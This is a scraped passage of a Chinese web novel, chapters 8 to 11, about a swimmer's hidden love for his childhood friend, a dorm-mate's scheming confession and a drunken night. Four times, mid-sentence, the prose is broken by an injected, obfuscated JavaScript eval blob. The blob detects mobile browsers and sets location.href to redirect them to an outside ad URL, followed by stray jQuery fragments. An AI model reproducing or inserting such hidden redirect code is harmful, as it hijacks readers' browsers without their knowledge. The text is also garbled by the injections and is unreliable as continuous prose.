要是跟自己在一起,哪需要他操心钱的事儿呢,反正自己有比赛奖金,算上压岁钱小金库现在都快六位数…… “左屹!”郭敬敬终于忍不住喊道。 左屹回过神,“啊!不好意思,我走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165009|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神了,你刚刚说什么?” 郭敬敬叹了口气,“我刚刚问你对gay有什么看法。” “对gay的看法??”左屹吓了一跳,什么时候聊到这个话题上了?看来他真的走了很久的神,前面郭敬敬说的他一句没听见。 看到左屹吃惊的反应,郭敬敬垂下眼帘,一副失望的神情问:“你介意这个话题,是吗?” 左屹心虚,连连摆手解释:“不是,不是,我不介意,你别误会。” “真的吗?”郭敬敬散去脸上的阴霾,开心地问:“那如果有gay喜欢你,你能接受吗?” “gay?喜欢我?”左屹脑袋一时转不过弯来,又问一遍:“为什么会有gay喜欢我?” 凑巧,祁言端着餐盘过来。 “这么说吧,其实我就是喜欢你的那个gay,”郭敬敬紧张地握着水杯,抬眼看着走过来的祁言,又将目光转向左屹,“你能接受我吗?” 左屹猛地挺直脊背,整个人跟过电一般,酥麻感从脚底窜到大脑,给他电懵了。 这是什么舍友爱上我,在我暗恋对象面前表白的狗血剧情?真是操了!早知道再加训几圈,何必来吃这顿饭…… 等不到回应,郭敬敬又说,“其实你可以考虑考虑,不需要现在给我答案,我可以等。” 祁言放下餐食,打量了郭敬敬一眼。 郭敬敬长相英俊,潮男打扮,小麦肤色,白袜子,是那种走在路上会惹人回头的优质gay。 左屹挠挠后脑勺,“那个,敬敬,谢谢你啊。” 憋了半天竟然只憋出个谢谢来。 祁言深剜了左屹一眼,又拿起左屹的杯子为他倒水,放下时杯子碰到桌面“哐当”的声音格外刺耳,引来周围用餐的客人不满的眼光。 “抱歉,手滑。”祁言冷不丁道歉。 郭敬敬对祁言含蓄一笑说:“没事的,祁言哥,今天让你看笑话了。” 祁言并未理会他,“两位餐齐,请慢用。” 左屹僵坐在原地,觉得自己尴尬得快成一尊活化石了。 他断不可能接受郭敬敬的表白,可毕竟一个宿舍,未来还有四年住在同一个屋檐下抬头不见低头见,他该怎么保留彼此的体面拒绝呢? 左屹真犯了难,眼睁睁盯着一桌子菜,难以下咽。 他思忖过后,觉得还得快刀斩乱麻。 “敬敬。”左屹喊道。 郭敬敬捣鼓着碗里的墨鱼饭团,应了声:“嗯。” “我这个人随心所欲惯了,世俗眼光在我面前就跟屁一样,”左屹观察着郭敬敬的反应,“但我找对象的前提是得我喜欢,你能明白吗?” 郭敬敬苦笑点头:“你可以直接说不排斥和男生恋爱,但是对我没感觉。” “你是我兄弟,哪有和兄弟谈恋爱的,你说是吧?”左屹说。 郭敬敬依旧不死心,“可不可以给我一个追求你的机会,万一你会喜欢我呢?” 左屹摇头,视线不自觉在餐厅里寻觅一个身影,“这不是我给不给你机会的问题啊。” 郭敬敬情绪略显激动,“是因为你已经有了喜欢的人,所以给我的感情直接判了死刑,对吗!” 左屹一怔,他环视一圈还好祁言不在附近,“你冷静点,感情不是一个人的事。” “你喜欢祁言哥吧,可他也是你的兄弟啊,你觉得这样对我公平吗?”郭敬敬红着眼眶步步紧逼,“我只是想为自己争取一个机会,我真的很喜欢你,从见你的第一眼开始,我就……” 左屹大脑嗡的一声,立刻严厉打断他:“郭敬敬!你知不知道自己在说什么?”他压低声音强调:“他是我发小,你不要乱说!” 8. 餐厅表白 郭敬敬也豁出去了,扯着嗓子说:“我看到了,那天在KTV你看他的眼神根本藏不住,我很嫉妒,嫉妒地快要疯了。” “你觉得我喜欢他,所以特意约我来他打工餐厅表白?”左屹冷着脸直接戳破:“你想让祁言误会我是gay,想让他恶心我,这样你就有机会了。” 他看到祁言在这时就心里有数了,他和祁言哪有这么深的缘分天天偶遇啊。 “我……屹哥……”郭敬敬没想自己的小把戏会被他直接戳穿。 “你觉得我会顾及舍友的体面不点破,”左屹喝了一口水,冷笑道:“自作聪明。” 郭敬敬被他凌厉的眼神吓坏了,他没见过这样气场的左屹,平日里左屹也算个活泼性格,大家怎么跟他开玩笑都不会生气。 “屹哥,对不起,是我不对,我只是……”郭敬敬极力道歉想挽回自己的形象。 左屹嘲讽:“不顾底线的算计就是你喜欢一个人的方式?你自己不觉得可笑吗。” 郭敬敬一脸委屈,抓着左屹的手祈求道:“对不起,是我自作聪明,我保证以后再也不会了!屹哥,能不能别讨厌我。” 祁言穿着自己的白色T恤从一处暗门里走出来,他恰好朝左屹这边瞥了一眼,看见两人相互握住的手若无其事地推门离开。 左屹一把甩开郭敬敬的手追到门外抓上祁言的小臂,“祁言。” 祁言停下步子,淡淡地看着左屹,“有事吗?” “你是不是遇到什么事了才来打工?缺钱你跟我说,我的奖金可以拿给你救急。” “不需要。”祁言语气刺骨,不着痕迹地躲开了被他抓住的小臂。 “你……”左屹被他这副嫌弃的样子刺到,从小到大,祁言从没有用这种冰冷的语气和他说话,难道祁言真因为自己是gay,觉得恶心了? 祁言皱着眉提醒:“你朋友还在里面等你,别和我在外面纠结太久冷落了人家。” 左屹回头看了眼餐厅,郭敬敬确实在餐厅里看着他们这边,左屹心下一烦拉着祁言来到商场的安全通道。 “你到底要说什么?”祁言啧地一声,皱着眉甩开左屹的手。 左屹也不拐弯抹角了,直接问:“你到底是不是缺钱?” “我说了不需要你的奖金。”祁言回答。 左屹听他这么说一把点燃了憋在心里的火,“祁言你他妈什么意思,从老子来京西到现在,你对当年的事没有一句解释,现在还烦我多管闲事,那老子来京西的意义是什么?当初你一声不吭就走了,一夜之间跟他妈人间消失一样,老子都没说你,你凭什么用这幅态度对我?” 左屹终于在不合时宜的时间,不合时宜的场合、不合时宜的情绪,哪哪都不合时宜的情形下,说出了这些他心里暗藏了许久的话。 他妈的喜欢一个人怎么就这么难,刚刚那通吼完不是应该很爽吗?怎么自己心脏还揪着疼起来了,真他妈没出息啊左屹!心脏和脑子疼得快要爆掉了,他悄悄靠着白墙借力。 渐渐地,左屹剑拔弩张的气势随着祁言的沉默一起黯淡下来。 “我没什么好解释的。”祁言说。 左屹气不打一出来,铁一般硬的拳头就这样打在了一个软棉花上,他没招了。 “祁言,你什么都不跟我说,到底把我当什么了?我们从小到大的感情就这么不如才认识一年的人吗?”他不知道自己处于什么状态下说出的这番话,他只记得自己眼前模糊一片,脑袋也跟缺氧似的晕晕沉沉。 这时,祁言手机响了,他拿起接通:“喂,关关。” 不知对方说了什么,祁言“嗯”了一声回答:“我马上就来。” 挂完电话祁言看到左屹通红嗜血的双眼愣怔住,便说有事要走。 他妈吵架还要被硬塞一口狗粮,左屹低声酸了一句,“见色忘义的东西。” 祁言听到了,但是因为赶时间便没有在意,匆匆走了。 左屹看他真的头也不回地走了,他握紧的拳头猛砸到墙上,哐哐几下,拳头关节瞬间红了一片。 闹了这么一出,他已经无暇吃饭,平复之后还是准备回到餐厅打声招呼再走,不管怎么样郭敬敬是他舍友以后还得相处,有些事得一码归一码。 左屹现在很想游泳,很想透支掉所有的体力,然后回宿舍蒙头大睡,这样就可以什么也不想,管他祁言是谁,管他缺不缺钱,小爷什么都不管了。 郭敬敬表白被拒也无心吃饭,但是一桌子菜都没动过他不想浪费,全部打了包和左屹一起回学校,期间,他们两个人一句话也没说,郭敬敬跟着左屹来学校的游泳训练馆,左屹进更衣室前想让他先回宿舍休息,他不愿意便没再多说。 郭敬敬眼睁睁看左屹不停游了快一个小时依然没有停下来休息的迹象。 泳池里的左屹仿佛一条想累死自己的鱼,拼尽全力在无边的大海里航行,忘了目标、失了方向、不计时间,直到体力耗尽沉落海底。 郭敬敬担心他的状态很是不对,想起之前在KTV他为了拉近和左屹的关系,有留过丁文笑的电话,他今天本来就得罪了左屹,自是不敢再强求他停下,只能打电话给丁文笑,这时或许只有发小能帮他缓解焦虑,于是播了电话过去。 很快,游泳训练馆外响起机车的轰鸣声,郭敬敬跑出去一看丁文笑从一辆川崎H2上下来,他眼前一亮,心里暗道不愧是屹哥发小。 他将丁文笑带进游泳馆,左屹还在泳池拼命,她一个心急将手贴近嘴巴吹起流氓哨,这是小时候左屹教她的。 刚游玩一轮的左屹听到岸上胡乱吹的流氓哨声很熟悉,这才停了下来,他在泳池中央踩着水看见果然是丁文笑来了,不悦地给郭敬敬递去一个眼神,丁文笑站在岸边黑着脸大声怒吼:“你给我上来。” 他顿时卸了力,再也游不动了,上岸后被丁文笑一阵数落,郭敬敬见状先溜回了宿舍。 左屹冲了个凉带着丁文笑来到操场上坐了半天,不说一句话。 只得丁文笑先开口:“你刚刚是发什么疯?谁惹你了告诉我,我去干死他。” 左屹笑着撞了她一下,“就你这身板能干死谁?” 丁文笑的问题他回答不出来,总不能说自己一直以来都在和祁言当初的不告而别赌气,重逢之后又知道他和关关姐谈恋爱自己天天在这吃飞醋?这些丁文笑哪里接受得了哦,他们三个人是从小一起长大的情谊,他不敢轻易破坏彼此之间的感情平衡。 丁文笑却一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165010|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语道破,“刚刚郭敬敬说你们吃饭碰到言哥了,两个人聊完回来就这样,你们吵架了?” “就你们俩这样的我比谁都了解,从小一个遇到什么事都往肚子里咽,一个心里藏不住一点事,你和言哥碰一起就是哑炮遇上加特林,白闹。” 神他妈比喻,左屹这下被逗笑了,笑骂:“我他妈是加特林,你就是个火箭筒。” “去你的吧,笑姐我怎么样也是一根永不熄灭的仙女棒,从小到大一直照着你俩。”丁文笑顺势躺倒在草坪上。 左屹也跟着一起倒下,“是是是,您是仙女Pang,最量的那个。” 他们同时笑出了声,两个人一起躺在体院操场的草坪上,吹着夏末微凉的晚风,看着夜空熙熙攘攘的几颗星星,好不惬意。 片刻,丁文笑才接着说:“虽然我不知道你们到底发生什么了,但是他生日那天在ktv外面,言哥跟我要了你联系方式,他联系过你吗?” “没有。”左屹回答。 丁文笑说:“可能忙忘了。” “是啊,忙着打工赚钱谈恋爱。”左屹酸道。 “打工赚钱谈恋爱???"丁文笑听到惊天八卦,“快展开说说!” 左屹解释:“就今天吃饭刚好是他在打工的餐厅。” “然后呢?” “然后,”左屹停顿,“他下班就去找关关姐约会了呗,催得那叫一个紧。” 丁文笑觉得不对,女生对女生的直觉很强,生日那天见面关关姐体现出来的礼貌分寸能看家教环境很好,并且为人打扮也很随性,那天她穿了件T恤牛仔裤就来了,一点也没有为男朋友生日而隆重打扮的迹象,更不可能是吸男朋友血的物质女生。 再者,她也没看出关关姐和言哥有cp感,反而是左屹的舍友一直缠着关关姐玩,两个人那亲密样她不信言哥眼瞎看不见。 丁文笑提出自己的疑惑:“小屹,说实话我觉得关关姐不是言哥喜欢的类型,我们是不是误会了?” 左屹瘪了瘪嘴,光看祁言接电话那个紧张样子就不会误会,以前什么时候见过他这个样子,左屹不想再聊有关祁言爱情的话题,于是又起了打趣的心思:“那你觉得他喜欢哪种类型?会不会喜欢你这样时尚弄潮儿型?” “我靠,左屹你有没有一点良心?我听说你有事骑着车就飞过来了,还要被你嘲笑。”丁文笑气得弹坐起来,攥着拳头猛锤左屹。 左屹从小就喜欢逗丁文笑,见她是真要生气了,连忙坐起来搓揉着她的头发说,“怎么会是嘲笑,我们笑笑是这个世界上最优秀、最漂亮的女孩,得是最最最最最优秀的男人才配站在我们笑笑公主的身边,和你共度余生。”说着手又转而捏到她气红的脸颊,“以后找对象得先带给我这个娘家人把把关,男人才懂男人,我不能让你有一点受委屈的可能性。” 这番话听到丁文笑心里很暖,她拍掉左屹的手,“得了吧,你的眼光我可不敢信,小时候去海洋馆,放着美人鱼表演你不看,非要去看一边丑凶丑凶的羊头濑鱼,长得跟怪物史莱克一样。谁知道你看男人的眼光是不是跟看鱼一样,就喜欢猎奇。” 左屹翻了个白眼心道,我看男人的眼光必须是顶好的,不然怎么会看上祁言呐。 9. 双双失恋 丁文笑离开京体后,距离宿舍门禁时间还有一会,左屹独自坐在宿舍楼下的椅子上百无聊赖地刷手机。 这已经是他退出又重进第98、99、100、101次微信了,没有等到新的好友申请,也没有来自陌生号码的短信,他在想是不是手机坏了,明天下训要拿去修一修。 “操,谁他妈在这装鬼吓人?” 李子豪走到椅子旁被吓得起码弹射了十米远。 左屹将手机收回裤子口袋里,一言难尽地瞟着那个浮夸怪,“是你屹爷,瞧你那夸张劲。” 他认清是谁后“切”了一声,“爷这叫生动,你懂个der。” 左屹站起身拍了拍他的肩膀,调侃:“你不该来体院,你应该跟我笑姐去表演系,前途肯定无量。” “去你丫的,甭酸我,爷今天心情好,不跟你打嘴炮。”李子豪上楼梯时开心地摇头晃脑。 左屹“啪”一巴掌拍他屁股上,问:“你中五百万了?” “少年,你这格局要放大,眼光得往一个小目标去瞅,五百万放那我都不带多看一眼的。”李子豪故意在二楼拐弯处扭动着腰肢,一副扭捏傲娇样。 “哟,您这口气大得差点给这宿舍楼房顶掀了。” 两人打闹着回到宿舍各自洗漱后不久便熄了灯,左屹不停刷了几个小时的手机微信,就是没有新好友提醒,眼看着又要失眠了。 斜上方的床铺传来一阵男子的痴笑,哟,原来还有个没睡的。 左屹探头轻轻叫了声:“豪哥?” 李子豪用气声回应:“干嘛?” 左屹接收到信号一个翻身下床,“咻”地爬到了李子豪的上铺。 李子豪被挤到贴着墙边,惊恐道:“我靠,兄弟,月黑风高,宿舍还有这么多人,你你你,别乱来啊!” “我睡不着,陪我聊聊呗。”左屹侧躺,抱着双臂与李子豪保持着足够安全的距离。 李子豪踢了他一脚,“你丫的,一晚上吓我两回,吓萎了给你的也剁了信不信?” 左屹打掉他踢过来的腿问:“不贫嘴,你跟我说说关关姐的事呗,听你们口音都是京西本地人吧?” “嗯,我和关从小就是邻居,我们小学、初中、高中一直是同班,家里也是从上一辈就交好了。”李子豪认真回答。 左屹不解:“你们一直同班,为什么她大学比你高一届?” “我为了和她离近点,复读了一年。”李子豪回忆道:“关关当年一只脚都踏进京西大了,我却高考失利勉强能读个二本,适合我的学校都在外省,如果我去了就得跟她分开,你不知道我当年是毫不犹豫选择了复读,谁都没劝我,劝不动。我爸不指望我读985,211,他说能上大学就不错了,反正最后也是回家继承家业,他都算好了要是我考不上大学直接送我出国学企业管理。” “然后你为了关关姐到了京体,虽然不是同一所学校,但两间校门只相隔四公里。” 左屹不禁感慨,他们来京体的执念竟如此相似,可自己是为了追求爱情,李子豪一个gay总不能是为了和关关姐的爱情而来。 原来gay对友情也能达到这种程度的深情,左屹心里啧啧两声,很是敬佩李子豪对友情的付出,月光洒在李子豪半张脸上,在左屹眼里却将那看成是李子豪神圣的光辉。 “四公里也挺远的,我想早点和她的距离告别正数。”李子豪自顾自的说。 告别正数?那不是负数距离…… 左屹一听不对劲,在黑夜里打量李子豪好一会,莫非他连闺蜜的身体都觊觎……仅短短三秒,现在他再看李子豪,神圣的光辉已经消失殆尽,剩下只有禽兽意.淫的猥.琐。 “豪哥,你这想法被祁言知道,我保证他会打死你。”左屹浅咳两声,看似不经意的随口提醒。 李子豪听懵了,问:“我和关关的事,姓祁那小子有什么资格打我?” 左屹心道,觊觎人家女朋友,不打你打谁。 “他作为关关姐的男朋友怎么没资格了?你打着gay蜜的旗号觊觎关关姐的身体,挺混蛋的。” “……” “左屹!大半夜你他妈说什么梦话呢?”李子豪怒了,拍了左屹大腿一巴掌。 什么打着gay蜜的旗号觊觎关关的身体,这都说的他妈什么跟什么? 李子豪压着嗓子喋喋不休,根本不给左屹说话的机会,“关关什么时候和祁言谈了,是不是祁言亲口说的?还有,老子怎么就是gay了??打他妈什么gay的旗号,左屹你给我说清楚!” 左屹震惊,这下误会大了,“你不是gay?” “谁跟你说我是了?”李子豪翻着白眼反问。 “来宿舍第一天不是你问大家歧不歧视同性恋吗?我就以为你是,等等,所以你喜欢关关姐??” 左屹终于转过这个弯了。 “小子你缺心眼儿啊,不喜欢她我复读个毛线啊,”李子豪越说越难过,就差挤两滴眼泪出来,“不可能啊,关关说会等我的,怎么就和祁言那小子谈上了,她也没和我提过……” “说起来还是之前你提醒我他们关系不一般,哎!你也别难过,谁让我竹马就是优秀呢,换作谁都没办法不动心吧。”左屹粗叹一口气,就连他也如上了瘾般喜欢祁言啊。 李子豪破防了,内心有一万只鹅同时尖叫,“操,还真是!” 对床的纪羽新终于受不了,直挺挺坐起来,满是幽怨对他们发出抗议:“你们俩大半夜聊什么这么起劲,我睡着的人都给你们聊醒了。” 他们俩双双闭了嘴,左屹轻手轻脚回到自己的下铺辗转反侧,这下好了,今夜又多一位失眠的伤心人。 第二天,左屹和李子豪谁也没有精神去上早八,两人就着一通电话跟辅导员请了假,用的理由也一样,流感了,互相传染的。 左屹心道互相传染是没说错,可哪是流感,明明是失恋啊! 下午,左屹拖着尤其沉重的身体去训练,课可以不上但体能训练不能停,这点觉悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165011|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还是有的,等训练完出来天色已经黑了,训练馆门外有一位背影失落得如同丧家犬的人不知道在等谁,左屹凑近一看,哦,是李子豪这个刚刚失恋的丧家犬。 “你怎么在这?”左屹有气无力地问。 李子豪耷拉着脑袋,“一个人的夜,我的心应该放在哪里。” 左屹会过来,他这是空虚寂寞了,想发泄。 “想去哪,直接说,我陪你去。” 李子豪眼睛一下就亮了,不得不说,左屹总是能准确知道他内心的小九九,“酒吧喝酒去。” “去吧,反正明天周六没课。”左屹也想这口了,应该说早就想借酒消消愁了。 俩难兄难弟拥着来到酒吧,这是左屹第二次来SKYBAR,他们这次没有开卡座,而是坐在吧台让酒保调着各式各样的鸡尾酒,有些鸡尾酒酸甜有度,极易下喉,左屹简直是拿它们当饮料一杯一杯灌。 喝到兴头,左屹想到一句经典台词,于是举着手里的鸡尾酒凑到李子豪眼前:“豪哥,今夜我们相聚于此,希望我们今后的人生一起……” 李子豪口齿不清抢答:“发烂,发臭。” “不不不,是发光,发亮!”左屹憨笑着将满杯Zombie一口灌下去。 “好,那我们以后一起发光,发亮!”李子豪也猛灌一杯尼格罗尼。 两个人在酒吧喝得舒畅,喝得忘我,觉得鸡尾酒喝得不尽兴,又开了瓶XO直接干起纯的,浑然不觉危险正在靠近。 李子豪喝着喝着突然觉得背后一股寒意袭来,他搂着脑袋直往吧台栽的左屹说:“左屹,你刚刚有没有感觉到背后有一阵阴风飘过去了?” 左屹听后笑了,含含糊糊说:“你喝多了豪哥,那是酒吧冷气足。” “不是,真的我鸡皮疙瘩都起来了。”李子豪解释。 左屹摆了摆手不再吱声,因为他已经彻底醉倒昏过去了。 事实证明,李子豪的感觉是没错的,因为关关已经在他背后生生盯了他十分钟了,她那眼神里的怒火足以将整个SKYBAR烧个精光。 关关看已经倒了一个,她便走上前去从李子豪身后拎起他耳朵,犹如夜里发狠的夜叉,“胆子大了,来这都不跟我说了?” “疼疼疼……”李子豪酒意全疼醒了,回头一看是关关,他这才想起今天关关有表演。 这间酒吧关关有30%的股份,她以前每个周末都会上台打几曲暖场,近段时间很少来表演,所以李子豪就把这茬给忘了。 四十分钟后,关关和李子豪在酒吧门口架着昏迷不醒的左屹终于等到了祁言。 “不好意思,他给你家竹马弟弟灌醉了。”关关率先解释。 祁言深深看了李子豪一眼,李子豪看见祁言就来气,眉低眼高地在一边翻白眼,关关在他背后死劲拧了一把,疼得他直抽气。 “麻烦了,我先带他回去,你们也早点回去休息吧。”祁言面无表情地接过身体沉重的左屹,拦了辆的士离开这片嘈杂的环境。 10. 醉酒趣事 的士后座,左屹醉得不省人事,身体随着车内惯性晃来晃去,若是他还能保持百分之一的清醒,一定不敢看祁言这张黑得不能再黑的脸。 祁言搂过左屹的肩膀将他固定在自己的身侧,又提醒司机开慢一些。 等到了目的地,左屹再也忍不住,下车扒了个垃圾桶埋头进去哇哇一顿吐,吐完以后稍微恢复些力气勉强可以自己走两步路。 祁言驮着他的肩膀将这个醉鬼带回自己的公寓里,进门之后,屋内突然亮起的灯光刺激到左屹,他下意识抬起手遮住眼睛,等适应过后映入眼帘的是祁言抱着双臂审视他的脸。 无疑,左屹觉得是自己出现幻觉了。 虽说是幻觉,可祁言这板着脸的样子好可怕,是他从来没见过的严肃,左屹瘫倒在沙发上,拍打着自己的脸,试图让自己清醒一些。 可是越打,这张脸凑得越近,真是见鬼了。 “走…走开。”左屹手舞足蹈地在空气中挥舞。 祁言一把抓住他乱挥的手腕,问道:“你要谁走开?” “祁言…”左屹含糊着回答。 祁言眼眸更深地盯着左屹醉红的脸,又问:“为什么要祁言走开?” “他…他谈恋爱了,我却失恋了,太,不公平了。”左屹手腕吃痛地睁开了眼,果然祁言的脸还在,“祁言是个混蛋。” “谁跟你说祁言谈恋爱了,你又跟谁失恋了?是不是餐厅里跟你表白的那个?”祁言步步逼问。 左屹双手被禁锢住,无法挣脱,他顿时委屈地双眼通红,“我喜欢的人他不喜欢我…难受,我他妈好难受,快要死了,我都这样了还要被你欺负,混蛋。” 祁言心里被扎了一下,松开了左屹的手腕,他不想再问下去了,轻叹了口气:“混蛋带你回房间睡觉。” 祁言将左屹打横抱回自己的卧室里,他的卧室的布置很简单,整体灰白色调,一张双人床,一个大衣柜,一盏落地台灯。 他给左屹脱了衣服和裤子,调高了空调温度,替他掖好被子,又去卫生间拧了热毛巾给他擦脸擦身,一通忙完已经接近凌晨两点,祁言却心事重重,困意全无,便关了台灯离开卧室。 第二天一早,左屹从陌生的房间醒来,而自己浑身上下不知道被谁扒得只剩一条平角内裤,双人床的另一侧并无别人,对于昨晚的事他隐隐约约记得昨天从幻觉里看到了祁言,那是一张黑如包公的脸,挺渗人的。 然而,令人费解的是他的衣服不见了!! 左屹懊恼地薅着头发,都不知道这房间的主人是男是女,怎么就随便跟陌生人回家了! 他在床上摸索着手机,想趁在被房间主人发现自己醒了之前,先给李子豪打个电话问问情况,结果没摸着。 正当他坐在床上手足无措的时候,房间门开了。 左屹一把将被子遮盖到自己的身上,然后透过被子缝看进门的人会是谁,谁曾想,那人是祁言。 天意啊,都是天意,幻觉里全是他就算了,怎么还是他把我带回家了,左屹在心里呐喊。 等等……幻觉?? 这个房间是祁言的,那昨晚看到的那张包公脸是真的! 想通这点,他双眼一闭倒在床上,尴尬地恨不得一头撞死。 “醒了就起来洗漱,早餐做好了。”祁言靠在门框前,双手环臂说。 左屹不想见人,更不想见祁言,太丢人了,他拿被子严丝合缝地蒙住自己装死。 “空调被闷不死人。”祁言提醒。 左屹豁出去了,猛地掀下被子,一脸我不入地狱谁入地狱的架势看着祁言说:“我衣服不见了,起不来。” 祁言走进房间内,打开自己的衣柜拿出一件白色T恤和黑色运动裤丢到床上,“你的衣服被我洗了,只能穿我的。” "我手机不见了,起不来!"左屹还是不想起,他哪里敢出去面对祁言的盘问啊。 “手机在客厅。”祁言好笑地回答。 “我……你怎么会在这?”左屹明知故问。 祁言坐到床边耐着性子回答:“这是我家,我不在这谁在这?” “那我……” 左屹还想跟他迂回拖延时间,祁言起身托起他的双臂替他将T恤套了上去,然后就要掀开被子,“裤子也需要我帮你穿?” “不不不,不用,我自己来,你出去!”左屹惊慌地压紧被子,他这会晨.勃还没好,要是被祁言看见,以后都没脸在京西混了直接连夜打飞的滚回江城。 祁言心领神会,笑着松了手,“快点,面要坨了。” 左屹磨磨蹭蹭一刻钟才洗漱完出去,餐桌上的西红柿鸡蛋面早坨了,祁言又端来热腾腾的一碗,“吃这碗,坨的那碗我去倒了。” 左屹用胳膊护着餐桌上的面碗,不让他拿走,这都是特意为他做的面,况且他已经很久没吃过祁言煮的面条了,当然不能浪费。 “面坨了也能吃,我现在饿得能吃十碗。”左屹对上祁言不理解的眼神,又说:“粒粒皆辛苦,不能浪费。” 祁言坐在左屹对面,单手支着脑袋看着他狼吞虎咽将两碗面吃完,“饱了?” 左屹打了个饱嗝,心道还是以前的那个味,就是有些撑过头了。 “也就还行,我们体育生消耗大。” 祁言见左屹嘴硬的样子不免觉得好笑,甚至偷偷在心里给他赐了个头衔,口是心非大师。 “昨晚你……” 祁言刚想说些什么,被左屹慌忙打断,“昨天我断片了,什么都别问,问就是不记得,也什么都别说,说啥我也不听。” 祁言耸耸肩,“好吧。” 这时,左屹放在客厅茶几上的手机响了,祁言帮忙走过去拿起,来电人备注:敬敬。 “是餐厅那位跟你表白的舍友。”祁言加重了表白两个字,将手机递过去。 左屹愣住,后脖子一阵发凉,他悄悄打量眼祁言,看起来情绪不太对,应该是自己打扰太久扰人清净了。 “开扩音。”祁言冷声说。 左屹从小就怕祁言真的生气,虽说次数屈指可数,也不敢造次,乖乖接通电话点开扩音:“喂。” 郭敬敬焦急紧张的声音传出来:“屹哥,你在哪?昨晚怎么没回宿舍,李子豪都回来了。” “昨天喝多了,在朋友家借住一晚,一会就回学校。”左屹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165012|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回。 郭敬敬又问:“宿醉很难受的,需不需要我来接你?” “不用,下午还有训练,回宿舍再说。”说完左屹果断挂了电话。 “男朋友查岗?”祁言问。 左屹一惊,心道完了,郭敬敬表白那次被他误以为自己是gay就吵了一架,现在这架的结还没解开,可不能再继续延伸了。 “不是,只是普通舍友的关心,我包直的,你别乱想。”左屹澄清得彻底,连自己真实的性取向一并“澄清”了。 祁言挑眉,“哦。” 那让他失恋的就是另有其人,臭小子刚来京西几天就男女通杀,玩得挺花。 左屹观察祁言的脸越来越沉,看着比高中数学老师还严肃,他实在待不下去了,“我得先回学校了,昨晚谢谢啊。” “嗯。” 左屹抓着手机就跑,到楼下还心有余悸,他现在真不能跟祁言两个人待在一起,心脏跳动地太强,跟有病一样,和他说句话嘴巴和舌头各论各的,思维也被禁锢住总是被他带着走,显得自己很好拿捏。 吵架之后,自己明明已经想要将这份感情藏好,最好一辈子都不漏出来,可单独面对祁言时偏偏藏不住,这感觉太可怕了,左屹不得不承认早上起床那会他是看到祁言后才勃.起,守身如玉十九年的处男差点憋哭在竹马的房间里,操蛋,实在太操蛋了。 “啊啊啊啊啊……”左屹冲路边的石墩子撒气。 网约车上,左屹手机“叮”地一声,收条一条陌生号码发来的短信,查看后左屹眼前一黑,“以后少喝点酒。”,他笃定这条短信一定是祁言的警告,想到昨晚不知做了多少丢脸的事实在没脸回复,只是默默将号码存下。 趁周末有空左屹增加了水下训练强度,还有不到一周的时间便是国庆小长假,回江城只能主攻陆地体能训练,为了节后的校队考核,平时一天水下训练总量5800m,周末硬是平均给拉到了将近10000m。 周日上午训练结束,下午有半天休息时间,刚回到宿舍准备睡个回笼觉,丁文笑的电话似催命符般不断打进来。 左屹瘫在床上,掏出手机勉强点了接通:“笑姐有何吩咐?” 电话里,丁文笑支吾道:“小屹,我觉得言哥遇到事儿了。” 左屹揉了揉太阳穴,努力保持清醒,“什么情况?” “上午我陪王佳怡去三院做胃镜,碰见言哥和关关姐了,我还以为眼花了,一路跟着他们到了妇科肿瘤住院部。”丁文笑解释。 左屹矍然一惊,从床上坐起来。 妇科肿瘤?? “小屹?” “我在听。” “我担心万一是关关姐生病了,言哥他……” 左屹打断,“别急,这事关关关姐的隐私,先等子豪回来我探探口风再说。” “好,有消息告诉我,我等着。” 一通电话令左屹心提到了嗓子眼,疲累全无,他不禁回想起吵架那天,祁言从头到尾没有否认过缺钱这回事,只是不愿意接受他的帮助。 他一定要弄清楚到底怎么回事儿,不管大事小事他都不能让祁言一个人扛着。 11. 弄清真相 傍晚,终于等到李子豪回宿舍,左屹有意无意和他在闲聊中提到关关姐,结果一无所获,想是她如果刻意隐瞒,李子豪必然也是被蒙在鼓里的那个,唯一的办法只有问祁言。 